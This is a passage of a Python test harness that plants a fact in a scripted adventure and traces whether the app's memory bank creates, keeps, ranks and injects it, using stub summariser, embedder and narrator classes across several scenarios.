to name both the thing and where it is to carry "where the thing is".
|
||||
|
||||
`leak_terms`: any one of these in another layer means that layer carries the
|
||||
fact. This is deliberately looser than `carry_groups`. For isolation, a
|
||||
mention is enough to disqualify.
|
||||
"""
|
||||
|
||||
fact_id: str
|
||||
sentence: str
|
||||
carry_groups: tuple[tuple[str, ...], ...]
|
||||
leak_terms: tuple[str, ...]
|
||||
|
||||
def carried_by(self, text: str | None) -> bool:
|
||||
low = (text or "").lower()
|
||||
return all(any(_has_word(low, term) for term in group) for group in self.carry_groups)
|
||||
|
||||
def mentioned_by(self, text: str | None) -> bool:
|
||||
low = (text or "").lower()
|
||||
return any(_has_word(low, term) for term in self.leak_terms)
|
||||
|
||||
|
||||
def _has_word(low: str, term: str) -> bool:
|
||||
return re.search(rf"(?<![a-z]){re.escape(term.lower())}(?![a-z])", low) is not None
|
||||
|
||||
|
||||
#: The fixture's planted fact. Chosen to be natural in a tavern scene and absent
|
||||
#: from every existing fixture: no "sundial" or "teapot" appears anywhere in the
|
||||
#: Westhaven campaign, its knowledge files or its beats.
|
||||
FACT_F = Fact(
|
||||
fact_id="F-amber-sundial",
|
||||
sentence="Mara slipped the amber sundial inside the cracked teapot on the tavern's top shelf.",
|
||||
carry_groups=(("sundial",), ("teapot",)),
|
||||
leak_terms=("sundial", "teapot"),
|
||||
)
|
||||
#: The abandoned-line control fact.
|
||||
FACT_G = Fact(
|
||||
fact_id="G-iron-weathervane",
|
||||
sentence="Edrin buried the iron weathervane beneath the mill's broken waterwheel.",
|
||||
carry_groups=(("weathervane",), ("waterwheel",)),
|
||||
leak_terms=("weathervane", "waterwheel"),
|
||||
)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------ reading
|
||||
|
||||
def _lineage_actions(db, adventure):
|
||||
path = lineage.path_of(db, adventure)
|
||||
return (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adventure.id, path.clause(models.Action))
|
||||
.order_by(models.Action.depth, models.Action.id)
|
||||
.all()
|
||||
)
|
||||
|
||||
|
||||
def covering_memories(db, adventure, depth: int, *, any_branch: bool = False):
|
||||
"""Memories whose source range covers `depth`, oldest first."""
|
||||
query = select(models.Memory).where(
|
||||
models.Memory.adventure_id == adventure.id,
|
||||
models.Memory.source_start <= depth,
|
||||
models.Memory.source_end >= depth,
|
||||
)
|
||||
if not any_branch:
|
||||
query = query.where(lineage.path_of(db, adventure).clause(models.Memory))
|
||||
return db.execute(query.order_by(models.Memory.id)).scalars().all()
|
||||
|
||||
|
||||
def planting_block_end(db, adventure, plant_depth: int) -> int:
|
||||
"""The last depth of the memory block holding the planted turn.
|
||||
|
||||
Taken from the memory that covers it where one exists. Before one exists it
|
||||
is the furthest a block could reach, so a later-narration check never counts
|
||||
a turn inside the planting block as a repetition.
|
||||
"""
|
||||
rows = covering_memories(db, adventure, plant_depth)
|
||||
if rows:
|
||||
return max(row.source_end for row in rows)
|
||||
return plant_depth + memorybank.MEMORY_INTERVAL
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- isolation
|
||||
|
||||
def isolation(db, adventure, fact: Fact, plant_depth: int, *,
|
||||
recall_snapshot: dict | None = None,
|
||||
recall_depth: int | None = None) -> dict:
|
||||
"""Every layer other than memory that could carry F, checked.
|
||||
|
||||
Returns `{check: {"ok": bool, "detail": str}}` and `ok` over all of them.
|
||||
With `recall_snapshot`, the recall turn's stored context, the prompt-level
|
||||
checks (history window, summary section, knowledge sections) are made
|
||||
against what the narrator was actually given.
|
||||
"""
|
||||
checks: dict[str, dict] = {}
|
||||
|
||||
document = adventure.narrative_state or {}
|
||||
hits = [key for key in ("entities", "facts", "relationships", "threads", "scene",
|
||||
"possessions")
|
||||
if fact.mentioned_by(json.dumps(document.get(key), default=str))]
|
||||
checks["state_document"] = {
|
||||
"ok": not hits and not fact.mentioned_by(json.dumps(document, default=str)),
|
||||
"detail": f"mentioned in {hits}" if hits else "absent",
|
||||
}
|
||||
|
||||
snapshot_hits = []
|
||||
later_hits = []
|
||||
block_end = planting_block_end(db, adventure, plant_depth)
|
||||
for action in _lineage_actions(db, adventure):
|
||||
if fact.mentioned_by(json.dumps(action.narrative_state_after, default=str)):
|
||||
snapshot_hits.append(action.depth)
|
||||
if (action.type == "ai" and action.depth is not None and action.depth > block_end
|
||||
and (recall_depth is None or action.depth < recall_depth)
|
||||
and fact.mentioned_by(action.text)):
|
||||
later_hits.append(action.depth)
|
||||
checks["state_snapshots"] = {
|
||||
"ok": not snapshot_hits,
|
||||
"detail": f"mentioned in snapshots at depths {snapshot_hits[:10]}" if snapshot_hits
|
||||
else "absent from every node's narrative_state_after on the active lineage",
|
||||
}
|
||||
checks["later_narration"] = {
|
||||
"ok": not later_hits,
|
||||
"detail": (f"narration after the planting block (ends at depth {block_end}) "
|
||||
f"mentions the fact at depths {later_hits[:10]}") if later_hits
|
||||
else f"no narrator turn after depth {block_end} mentions the fact",
|
||||
}
|
||||
|
||||
active = summaries.current(db, adventure)
|
||||
summary_text = active.text if active is not None else ""
|
||||
if recall_snapshot is not None:
|
||||
summary_text += "\n" + _section(recall_snapshot, SUMMARY_LABEL)
|
||||
checks["summary"] = {
|
||||
"ok": not fact.mentioned_by(summary_text),
|
||||
"detail": "the active summary mentions the fact" if fact.mentioned_by(summary_text)
|
||||
else ("absent from the active summary" if active is not None else "no summary yet"),
|
||||
}
|
||||
|
||||
sources = db.execute(
|
||||
select(models.KnowledgeSource.content).where(
|
||||
models.KnowledgeSource.adventure_id == adventure.id)
|
||||
).scalars().all()
|
||||
knowledge_text = "\n".join(s or "" for s in sources)
|
||||
if recall_snapshot is not None:
|
||||
knowledge_text += "\n" + "\n".join(_section(recall_snapshot, l) for l in KNOWLEDGE_LABELS)
|
||||
checks["knowledge"] = {
|
||||
"ok": not fact.mentioned_by(knowledge_text),
|
||||
"detail": "imported knowledge mentions the fact" if fact.mentioned_by(knowledge_text)
|
||||
else f"absent from {len(sources)} imported source(s)",
|
||||
}
|
||||
|
||||
if recall_snapshot is not None:
|
||||
hist = recall_snapshot.get("history") or {}
|
||||
floor = hist.get("floor_depth")
|
||||
history_text = "\n".join(_section(recall_snapshot, l) for l in HISTORY_LABELS)
|
||||
outside = floor is not None and plant_depth < floor
|
||||
checks["recent_history"] = {
|
||||
"ok": outside and not fact.carried_by(history_text),
|
||||
"detail": (f"history window starts at depth {floor}; planted at {plant_depth}; "
|
||||
f"fact text in history sections: {fact.carried_by(history_text)}"),
|
||||
}
|
||||
checks["state_section"] = {
|
||||
"ok": not fact.mentioned_by(_section(recall_snapshot, STATE_LABEL)),
|
||||
"detail": "the recall prompt's narrative_state section "
|
||||
+ ("mentions the fact" if fact.mentioned_by(_section(recall_snapshot, STATE_LABEL))
|
||||
else "does not mention the fact"),
|
||||
}
|
||||
|
||||
return {"ok": all(c["ok"] for c in checks.values()), "checks": checks}
|
||||
|
||||
|
||||
def _section(snapshot: dict, label: str) -> str:
|
||||
return "\n".join(s.get("text", "") for s in (snapshot.get("sections") or [])
|
||||
if s.get("label") == label)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------- stages
|
||||
|
||||
async def rank_bank(db, adventure, settings, query: dict, embed) -> dict:
|
||||
"""Production's ranking, recomputed for `query`, for every eligible memory.
|
||||
|
||||
`query` is a `memorybank.retrieval_query` dict. The catalogue clause, the
|
||||
scoring (`memorybank.score_candidates`) and the selection with its pins and
|
||||
redundancy rule (`memorybank.select_memories`) are production's own
|
||||
functions, so this is production's ranking, not a second opinion. Returns
|
||||
every scored row, not just the top-k, because "where did F rank" is the
|
||||
question.
|
||||
"""
|
||||
catalogue = db.execute(
|
||||
select(models.Memory.id, models.Memory.pinned, models.Memory.authority,
|
||||
models.Memory.embedding_blob, models.Memory.text).where(
|
||||
models.Memory.adventure_id == adventure.id,
|
||||
lineage.path_of(db, adventure).clause(models.Memory),
|
||||
models.Memory.forgotten.is_(False),
|
||||
models.Memory.embedded.is_(True),
|
||||
)
|
||||
).all()
|
||||
top_k = max(1, settings.memory_top_k)
|
||||
texts = [t for t in (query["input"], query["context"]) if t.strip()]
|
||||
if not catalogue or not texts:
|
||||
return {"query": query, "scored": [], "selected": [], "top_k": top_k}
|
||||
vectors_by_text = dict(zip(texts, await embed(texts)))
|
||||
input_vec = vectors_by_text.get(query["input"]) if query["input"].strip() else None
|
||||
context_vec = vectors_by_text.get(query["context"]) if query["context"].strip() else None
|
||||
held = {row.id: vectors.unpack(row.embedding_blob) for row in catalogue if row.embedding_blob}
|
||||
terms_of = ({row.id: memorybank.lexical_terms(row.text or "") for row in catalogue}
|
||||
if query["input_terms"] else {})
|
||||
authority_of = {row.id: row.authority for row in catalogue}
|
||||
pinned_of = {row.id: row.pinned for row in catalogue}
|
||||
scored = memorybank.score_candidates(
|
||||
[row.id for row in catalogue if row.id in held], held, terms_of,
|
||||
input_vec, context_vec, query["input_terms"])
|
||||
used, suppressed = memorybank.select_memories(scored, pinned_of, held, authority_of, top_k)
|
||||
selected = {row[1] for row in used}
|
||||
suppressed_by = dict(suppressed)
|
||||
return {
|
||||
"query": query,
|
||||
"top_k": top_k,
|
||||
"scored": [
|
||||
{"rank": i + 1, "memory_id": memory_id, "similarity": round(semantic, 4),
|
||||
"semantic_score": round(semantic, 4), "lexical_score": round(lexical, 4),
|
||||
"final_score": round(final, 4),
|
||||
"pinned": pinned_of[memory_id], "selected": memory_id in selected,
|
||||
"suppressed_as_duplicate_of": suppressed_by.get(memory_id)}
|
||||
for i, (final, memory_id, semantic, lexical) in enumerate(scored)
|
||||
],
|
||||
"selected": sorted(selected),
|
||||
}
|
||||
|
||||
|
||||
def production_query(adventure, exclude_action_id: int | None) -> dict:
|
||||
"""The retrieval query a turn used, built by production's own `retrieval_query`."""
|
||||
return memorybank.retrieval_query(adventure, exclude_action_id)
|
||||
|
||||
|
||||
def variant_query(base: dict, player_input: str) -> dict:
|
||||
"""`base` with a different player input: "what if the player had asked this
|
||||
here", with the scene and narration context the recall turn really had."""
|
||||
return {"input": player_input, "context": base["context"],
|
||||
"input_terms": sorted(memorybank.lexical_terms(player_input))}
|
||||
|
||||
|
||||
def eviction_order(db, adventure) -> list[int]:
|
||||
"""The order `_evict_over_capacity` would take unpinned active memories in.
|
||||
|
||||
Production's own `memorybank.eviction_order`, run to the end of the bank."""
|
||||
rows = db.execute(
|
||||
select(models.Memory.id, models.Memory.pinned, models.Memory.source_start,
|
||||
models.Memory.source_end, models.Memory.last_used_at,
|
||||
models.Memory.created_at, models.Memory.use_count).where(
|
||||
models.Memory.adventure_id == adventure.id,
|
||||
models.Memory.forgotten.is_(False),
|
||||
)
|
||||
).all()
|
||||
return memorybank.eviction_order(rows, len(rows))
|
||||
|
||||
|
||||
def coverage(ranges: list[tuple[int, int]], tip: int | None) -> dict:
|
||||
"""How much of the story `ranges` (active memories' source ranges) describe.
|
||||
|
||||
`largest_gap` is the longest run of depths, between the first memory's start
|
||||
and `tip`, that no memory covers. It is how the eviction rule is judged in
|
||||
general, not only for the planted fact."""
|
||||
if not ranges:
|
||||
return {"first_start": None, "last_end": None, "largest_gap": None}
|
||||
ordered = sorted(ranges)
|
||||
gaps = []
|
||||
reach = ordered[0][1]
|
||||
for start, end in ordered[1:]:
|
||||
gaps.append(max(0, start - reach - 1))
|
||||
reach = max(reach, end)
|
||||
return {"first_start": ordered[0][0], "last_end": reach,
|
||||
"largest_gap": max(gaps, default=0)}
|
||||
|
||||
|
||||
async def diagnose(db, adventure, settings, fact: Fact, plant_depth: int, *,
|
||||
recall_action: models.Action, embed) -> dict:
|
||||
"""The four stages for `fact`, judged at `recall_action`, the recall turn's AI node.
|
||||
|
||||
Ranking is recomputed with the query that turn used, and checked against the
|
||||
turn's own stored `memories.used`. Injection is read from that snapshot, so
|
||||
it reports what the narrator was actually given, not a re-run.
|
||||
"""
|
||||
snapshot = recall_action.context_snapshot or {}
|
||||
out: dict = {"fact_id": fact.fact_id, "plant_depth": plant_depth,
|
||||
"recall_depth": recall_action.depth}
|
||||
|
||||
covering = covering_memories(db, adventure, plant_depth)
|
||||
carrying = [m for m in covering if fact.carried_by(m.text)]
|
||||
elsewhere = [m for m in db.execute(select(models.Memory).where(
|
||||
models.Memory.adventure_id == adventure.id)).scalars().all()
|
||||
if fact.carried_by(m.text) and m not in carrying]
|
||||
creation_input = []
|
||||
for memory in covering:
|
||||
block = memorybank.source_block(db, memory)
|
||||
raw = "\n\n".join(a.text for a in block)
|
||||
excerpt = memorybank.memory_excerpt(raw) # what `summarize_block` sends
|
||||
creation_input.append({
|
||||
"memory_id": memory.id, "source_start": memory.source_start,
|
||||
"source_end": memory.source_end, "block_tokens": builder.count_tokens(raw),
|
||||
"fact_in_block": fact.carried_by(raw),
|
||||
"fact_in_summariser_excerpt": fact.carried_by(excerpt),
|
||||
"memory_text": memory.text,
|
||||
})
|
||||
memory = carrying[0] if carrying else None
|
||||
out["created"] = {
|
||||
"yes": memory is not None,
|
||||
"memory_id": getattr(memory, "id", None),
|
||||
"source_start": getattr(memory, "source_start", None),
|
||||
"source_end": getattr(memory, "source_end", None),
|
||||
"memory_text": getattr(memory, "text", None),
|
||||
"covering_memories": creation_input,
|
||||
"no_covering_memory": not covering,
|
||||
"carried_by_other_memories": [
|
||||
{"memory_id": m.id, "source_start": m.source_start, "source_end": m.source_end}
|
||||
for m in elsewhere],
|
||||
}
|
||||
|
||||
if memory is None:
|
||||
out["verdict"] = "not_created"
|
||||
return out
|
||||
|
||||
order = eviction_order(db, adventure)
|
||||
active = db.execute(select(models.Memory.id).where(
|
||||
models.Memory.adventure_id == adventure.id,
|
||||
models.Memory.forgotten.is_(False))).scalars().all()
|
||||
on_lineage = db.execute(select(models.Memory.id).where(
|
||||
models.Memory.id == memory.id,
|
||||
lineage.path_of(db, adventure).clause(models.Memory))).scalar() is not None
|
||||
out["retained"] = {
|
||||
"yes": not memory.forgotten,
|
||||
"forgotten": memory.forgotten,
|
||||
"pinned": memory.pinned,
|
||||
"embedded": memory.embedded,
|
||||
"on_active_lineage": on_lineage,
|
||||
"use_count": memory.use_count,
|
||||
"last_used_at": str(memory.last_used_at) if memory.last_used_at else None,
|
||||
"created_at": str(memory.created_at),
|
||||
"active_memories": len(active),
|
||||
"memory_bank_capacity": settings.memory_bank_capacity,
|
||||
"eviction_position": (order.index(memory.id) + 1) if memory.id in order else None,
|
||||
"reason": ("evicted: marked forgotten by capacity eviction" if memory.forgotten
|
||||
else "active"),
|
||||
}
|
||||
if memory.forgotten:
|
||||
out["verdict"] = "created_but_evicted"
|
||||
return out
|
||||
|
||||
# The recall turn's AI node is excluded, so the newest action is the recall
|
||||
# player action, exactly as the turn saw it before it wrote its reply.
|
||||
query = production_query(adventure, recall_action.id)
|
||||
ranking = await rank_bank(db, adventure, settings, query, embed)
|
||||
row = next((r for r in ranking["scored"] if r["memory_id"] == memory.id), None)
|
||||
stored_used = [m.get("id") for m in (snapshot.get("memories") or {}).get("used") or []]
|
||||
out["ranked"] = {
|
||||
"yes": row is not None and row["rank"] <= ranking["top_k"],
|
||||
"eligible": row is not None,
|
||||
"lexical_score": row["lexical_score"] if row else None,
|
||||
"semantic_score": row["semantic_score"] if row else None,
|
||||
"final_score": row["final_score"] if row else None,
|
||||
"selected_top_k": ranking["selected"],
|
||||
"pin_effect": "always selected" if memory.pinned else "none",
|
||||
"rank": row["rank"] if row else None,
|
||||
"of": len(ranking["scored"]),
|
||||
"top_k_cutoff": ranking["top_k"],
|
||||
"selected": bool(row and row["selected"]),
|
||||
"suppressed_as_duplicate_of": row["suppressed_as_duplicate_of"] if row else None,
|
||||
"query": query,
|
||||
"replica_matches_stored_selection": sorted(stored_used) == ranking["selected"],
|
||||
}
|
||||
if row is None or row["rank"] > ranking["top_k"] and not row["selected"]:
|
||||
out["verdict"] = "retained_but_not_ranked"
|
||||
return out
|
||||
if not row["selected"]:
|
||||
out["verdict"] = "ranked_but_not_selected"
|
||||
return out
|
||||
|
||||
section = _section(snapshot, MEMORIES_LABEL)
|
||||
injected = memory.id in stored_used and memory.text in section
|
||||
out["injected"] = {
|
||||
"yes": injected,
|
||||
"context_component": MEMORIES_LABEL,
|
||||
"in_stored_memories_used": memory.id in stored_used,
|
||||
"text_in_section": memory.text in section,
|
||||
"token_count": builder.count_tokens(section) if section else 0,
|
||||
}
|
||||
out["verdict"] = "injected" if injected else "selected_but_not_injected"
|
||||
return out
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- the stubs
|
||||
|
||||
@dataclass
|
||||
class BestCaseSummariser:
|
||||
"""The ideal memory writer: F survives if, and only if, F reached it.
|
||||
|
||||
A memory keeps every sentence of the excerpt that carries a planted fact, and
|
||||
adds one sentence naming the block's own distinct detail so memories differ.
|
||||
Summary updates never repeat a planted fact, so the summary layer stays out of
|
||||
the experiment. Every excerpt it was given is kept, for the creation-window
|
||||
diagnostic.
|
||||
"""
|
||||
|
||||
facts: tuple[Fact, ...] = (FACT_F, FACT_G)
|
||||
excerpts: list = field(default_factory=list)
|
||||
|
||||
async def complete(self, system, user, *, temperature=0.3, max_tokens=400):
|
||||
if "Current story summary:" in user:
|
||||
return "The travellers kept moving through the country around Westhaven."
|
||||
excerpt = user.split("Story excerpt:\n\n", 1)[-1].rsplit("\n\nMemory:", 1)[0]
|
||||
self.excerpts.append(excerpt)
|
||||
kept = [s.strip() for s in re.split(r"(?<=[.!?])\s+", excerpt)
|
||||
if any(f.carried_by(s) for f in self.facts)]
|
||||
detail = re.findall(r"\bat the ([a-z]+ [a-z]+)\b", excerpt.lower())
|
||||
tail = f"The travellers spent time at the {detail[-1]}." if detail else \
|
||||
"The travellers pressed on."
|
||||
return " ".join(dict.fromkeys(kept + [tail]))
|
||||
|
||||
|
||||
#: Words that mean the same thing to `ConceptEmbedder`. The point is only that a
|
||||
#: paraphrase lands near the original; the table is the model of that.
|
||||
CONCEPTS = {
|
||||
"timepiece": ("sundial", "dial", "hour", "hours", "clock", "timepiece"),
|
||||
"vessel": ("teapot", "pot", "kettle", "tea", "jar"),
|
||||
"hid": ("hid", "hide", "hidden", "slipped", "tucked", "put", "stashed"),
|
||||
"weathervane": ("weathervane", "vane"),
|
||||
"waterwheel": ("waterwheel", "wheel", "mill"),
|
||||
}
|
||||
_WORD_TO_CONCEPT = {w: c for c, words in CONCEPTS.items() for w in words}
|
||||
DIMENSIONS = 96
|
||||
|
||||
|
||||
@dataclass
|
||||
class ConceptEmbedder:
|
||||
"""A deterministic embedding: concepts in fixed dimensions, other words hashed."""
|
||||
|
||||
calls: int = 0
|
||||
|
||||
async def embed(self, texts):
|
||||
self.calls += 1
|
||||
return [self.vector(t) for t in texts]
|
||||
|
||||
@staticmethod
|
||||
def vector(text: str) -> list[float]:
|
||||
v = [0.0] * DIMENSIONS
|
||||
v[0] = 0.2 # every text shares a little, as real embeddings do
|
||||
concept_names = list(CONCEPTS)
|
||||
for word in re.findall(r"[a-z]+", text.lower()):
|
||||
concept = _WORD_TO_CONCEPT.get(word)
|
||||
if concept is not None:
|
||||
v[1 + concept_names.index(concept)] += 3.0
|
||||
elif len(word) > 3:
|
||||
bucket = int(hashlib.sha256(word.encode()).hexdigest(), 16)
|
||||
v[1 + len(concept_names) + bucket % (DIMENSIONS - 1 - len(concept_names))] += 1.0
|
||||
norm = math.sqrt(sum(x * x for x in v)) or 1.0
|
||||
return [x / norm for x in v]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- scenarios
|
||||
|
||||
#: Filler places. No word here is in `CONCEPTS`, and none names a planted fact.
|
||||
PLACES = (
|
||||
"north gate", "salt market", "ferry landing", "chapel steps", "rope walk",
|
||||
"fish stalls", "old bridge", "tanner yard", "lamp street", "weir path",
|
||||
"grain store", "boat yard", "watch house", "cloth hall", "eel traps",
|
||||
"sheep fold", "smith forge", "stone quay", "reed beds", "toll booth",
|
||||
)
|
||||
PARAPHRASE_QUERY = "I ask Mara where she tucked the little brass dial that tells the hour."
|
||||
UNRELATED_QUERY = "I ask the ferryman what rope costs at the landing this season."
|
||||
#: Built only from words every fixture memory holds ("travellers", "spent",
|
||||
#: "time"), so its rarity weight is zero everywhere.
|
||||
COMMON_WORDS_QUERY = "The travellers spent time."
|
||||
|
||||
|
||||
def filler_prose(index: int, words: int) -> str:
|
||||
"""Narration that moves on and never touches a planted fact."""
|
||||
place = PLACES[index % len(PLACES)]
|
||||
sentence = (f"At the {place} the travellers stopped, listened to the gulls over the "
|
||||
f"grey water, and talked about the long road north.")
|
||||
reps = max(1, round(words / len(sentence.split())))
|
||||
return " ".join([sentence] * reps)
|
||||
|
||||
|
||||
@dataclass
|
||||
class Scenario:
|
||||
"""One deterministic campaign. Depths: the opening is 0, turn *n*'s player
|
||||
action is 2n-1 and its reply 2n."""
|
||||
|
||||
name: str
|
||||
turns: int = 52
|
||||
capacity: int = 80
|
||||
top_k: int = 5
|
||||
budget: int = 4096
|
||||
prose_words: int = 60
|
||||
plant_turn: int = 1
|
||||
recall_text: str = "I ask Mara where she hid the amber sundial."
|
||||
pin_first_memory: bool = False
|
||||
lineage_control: bool = False
|
||||
diagnose_recall: bool = True
|
||||
#: The narration of the last turn before recall, when a fixture needs the
|
||||
#: scene to say something (WP-B.2's context-dependent question). Must not
|
||||
#: name a planted fact.
|
||||
pre_recall_reply: str = ""
|
||||
|
||||
|
||||
SCENARIOS = {
|
||||
"independent_default": Scenario("independent_default"),
|
||||
"past_capacity": Scenario("past_capacity", capacity=6),
|
||||
"past_capacity_pinned": Scenario("past_capacity_pinned", capacity=6, pin_first_memory=True),
|
||||
# Closer to the shipped ratio (memory_top_k 5 against capacity 80): most of
|
||||
# the bank is not retrieved on a given turn.
|
||||
"past_capacity_low_top_k": Scenario("past_capacity_low_top_k", capacity=8, top_k=2),
|
||||
"long_block_fact_early": Scenario("long_block_fact_early", turns=10, prose_words=850,
|
||||
plant_turn=1, budget=16384),
|
||||
"long_block_fact_late": Scenario("long_block_fact_late", turns=10, prose_words=850,
|
||||
plant_turn=3, budget=16384),
|
||||
"lineage_control": Scenario("lineage_control", lineage_control=True),
|
||||
# v1.1 WP-B.2: the ranking failure B.1 saw on the real model, made
|
||||
# deterministic. Longer narration fills the v1.0.0 query, and `memory_top_k`
|
||||
# is the real run's 4. Below capacity, isolation valid.
|
||||
"ranking_crowded": Scenario("ranking_crowded", prose_words=150, top_k=4),
|
||||
# v1.1 WP-B.2: all three B.1 failures at once. Every block is longer than the
|
||||
# summariser's excerpt, narration crowds the query at `memory_top_k` 4, and
|
||||
# the bank passes a capacity of 8 long before recall at depth 106.
|
||||
"independent_full": Scenario("independent_full", prose_words=850, top_k=4,
|
||||
capacity=8, budget=16384),
|
||||
# v1.1 WP-B.2: a question that names neither the sundial nor the teapot and
|
||||
# cannot be answered without the scene. The last narration puts Mara at the
|
||||
# tavern's top shelf; the player asks "her" what she put "up there".
|
||||
"ranking_context_dependent": Scenario(
|
||||
"ranking_context_dependent", prose_words=150, top_k=4,
|
||||
recall_text="I ask her what she keeps up there.",
|
||||
pre_recall_reply=("Mara stands on a stool at the tavern's top shelf, running a cloth "
|
||||
"around the old kettle up there, and she will not meet your eye.")),
|
||||
}
|
||||
|
||||
|
||||
class ScriptNarrator:
|
||||
"""Stands in for the narrator: returns `next_reply`, with an empty state block."""
|
||||
|
||||
next_reply = ""
|
||||
last_usage = None
|
||||
prompts: list = []
|
||||
|
||||
def __init__(self, *a, **k):
|
||||
pass
|
||||
|
||||
async def generate(self, parts, *, temperature, max_tokens):
|
||||
ScriptNarrator.prompts.append((parts.system, parts.story))
|
||||
yield ("text", ScriptNarrator.next_reply)
|
||||
|
||||
|
||||
def run_scenario(scenario: Scenario) -> dict:
|
||||
"""Plays `scenario` through the real turn route and returns everything measured.
|
||||
|
||||
Uses the database `app.database` is already bound to, creating and dropping
|
||||
its tables, the way the suite's fixtures do. Patches are applied here and
|
||||
removed before returning, so this runs the same under pytest and from the CLI.
|
||||
"""
|
||||
import asyncio
|
||||
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
from app import auth, limits
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.routers import adventures as adventure_routes
|
||||
|
||||
summariser = BestCaseSummariser()
|
||||
embedder = ConceptEmbedder()
|
||||
patches = [
|
||||
(memorybank, "summary_provider", lambda s: summariser),
|
||||
(memorybank, "embedding_provider", lambda s: embedder),
|
||||
# Post-turn work is settled explicitly after each turn, so eviction
|
||||
# happens at a known point rather than whenever a background task runs.
|
||||
(memorybank, "schedule_post_turn", lambda adventure: None),
|
||||
(adventure_routes.turns, "OpenAICompatibleProvider", ScriptNarrator),
|
||||
(limits, "check_row_cap", lambda *a, **k: None),
|
||||
]
|
||||
saved = [(obj, name, getattr(obj, name)) for obj, name, _ in patches]
|
||||
for obj, name, value in patches:
|
||||
setattr(obj, name, value)
|
||||
ScriptNarrator.prompts = []
|
||||
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
with SessionLocal() as db:
|
||||
user = models.User(is_guest=False, email=f"b1-{scenario.name}@example.com")
|
||||
db.add(user)
|
||||
db.flush()
|
||||
db.add(models.Settings(
|
||||
user_id=user.id, model="script", endpoint_url="http://127.0.0.1:9/v1",
|
||||
embedding_model="concept-embed", context_token_budget=scenario.budget,
|
||||
max_output_tokens=500, memory_bank_capacity=scenario.capacity,
|
||||
memory_top_k=scenario.top_k,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title=f"B.1 {scenario.name}", memory_bank_enabled=True,
|
||||
auto_summarize=True, persona_name="Aldric",
|
||||
)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(adventure_id=adventure.id, type="start",
|
||||
text="Rain over Westhaven, and the tavern door banging in the wind."))
|
||||
db.commit()
|
||||
adv, user_id = adventure.id, user.id
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
client = TestClient(app)
|
||||
result: dict = {"scenario": scenario.__dict__.copy(), "trace": []}
|
||||
|
||||
def call(method, path, body=None, expect=200):
|
||||
response = client.request(method, f"/api/adventures/{adv}{path}", json=body)
|
||||
assert response.status_code == expect, (path, response.status_code, response.text[:300])
|
||||
return response.json() if response.content else None
|
||||
|
||||
def marks():
|
||||
with SessionLocal() as db:
|
||||
rows = db.execute(select(models.Memory.id, models.Memory.forgotten,
|
||||
models.Memory.embedded).where(
|
||||
models.Memory.adventure_id == adv)).all()
|
||||
summaries_n = db.query(models.Summary).filter_by(adventure_id=adv).count()
|
||||
return tuple(sorted(rows)), summaries_n
|
||||
|
||||
def settle():
|
||||
for _ in range(12):
|
||||
before = marks()
|
||||
asyncio.run(memorybank.run_post_turn(adv))
|
||||
if marks() == before:
|
||||
return
|
||||
|
||||
def memories():
|
||||
with SessionLocal() as db:
|
||||
return [dict(row._mapping) for row in db.execute(select(
|
||||
models.Memory.id, models.Memory.text, models.Memory.source_start,
|
||||
models.Memory.source_end, models.Memory.forgotten, models.Memory.pinned,
|
||||
models.Memory.use_count, models.Memory.last_used_at, models.Memory.branch_id,
|
||||
models.Memory.created_at).where(models.Memory.adventure_id == adv)
|
||||
.order_by(models.Memory.id)).all()]
|
||||
|
||||
def per_turn_isolation(adventure_id):
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, adventure_id)
|
||||
active = summaries.current(db, adventure)
|
||||
return {
|
||||
"f_in_state": FACT_F.mentioned_by(json.dumps(adventure.narrative_state or {},
|
||||
default=str)),
|
||||
"f_in_summary": FACT_F.mentioned_by(active.text if active is not None else ""),
|
||||
}
|
||||
|
||||
def turn(kind, text, reply):
|
||||
ScriptNarrator.next_reply = f"{reply}\n```state\n{{\"events\": []}}\n```"
|
||||
response = client.post(f"/api/adventures/{adv}/actions", json={"type": kind, "text": text})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
assert '"type": "error"' not in response.text, response.text[-300:]
|
||||
|
||||
plant_depth = None
|
||||
f_memory_id = None
|
||||
pinned_id = None
|
||||
known: dict[int, dict] = {}
|
||||
g: dict = {}
|
||||
try:
|
||||
for n in range(1, scenario.turns + 1):
|
||||
if n == scenario.plant_turn:
|
||||
turn("story", FACT_F.sentence, filler_prose(n, scenario.prose_words))
|
||||
with SessionLocal() as db:
|
||||
plant_depth = db.query(models.Action.depth).filter_by(
|
||||
adventure_id=adv, text=FACT_F.sentence).scalar()
|
||||
elif scenario.lineage_control and n == 21:
|
||||
call("POST", "/checkpoints", {"name": "before the mill"}, expect=201)
|
||||
turn("story", FACT_G.sentence, filler_prose(n, scenario.prose_words))
|
||||
with SessionLocal() as db:
|
||||
g["plant_depth"] = db.query(models.Action.depth).filter_by(
|
||||
adventure_id=adv, text=FACT_G.sentence).scalar()
|
||||
elif scenario.lineage_control and n == 30:
|
||||
# Line A carries G's memory. Mark it, then abandon it: Undo back
|
||||
# to before G was planted and write something else.
|
||||
g["line_a"] = call("POST", "/checkpoints", {"name": "line A, after the mill"},
|
||||
expect=201)["id"]
|
||||
with SessionLocal() as db:
|
||||
g_rows = [m for m in db.execute(select(models.Memory).where(
|
||||
models.Memory.adventure_id == adv)).scalars() if FACT_G.carried_by(m.text)]
|
||||
g["memory_ids"] = [m.id for m in g_rows]
|
||||
with SessionLocal() as db:
|
||||
g["last_action_id_before_divergence"] = db.query(models.Action.id).filter_by(
|
||||
adventure_id=adv).order_by(models.Action.id.desc()).limit(1).scalar()
|
||||
for _ in range(9):
|
||||
call("POST", "/undo")
|
||||
turn("do", f"I turn away from the mill and walk to the {PLACES[n % len(PLACES)]}.",
|
||||
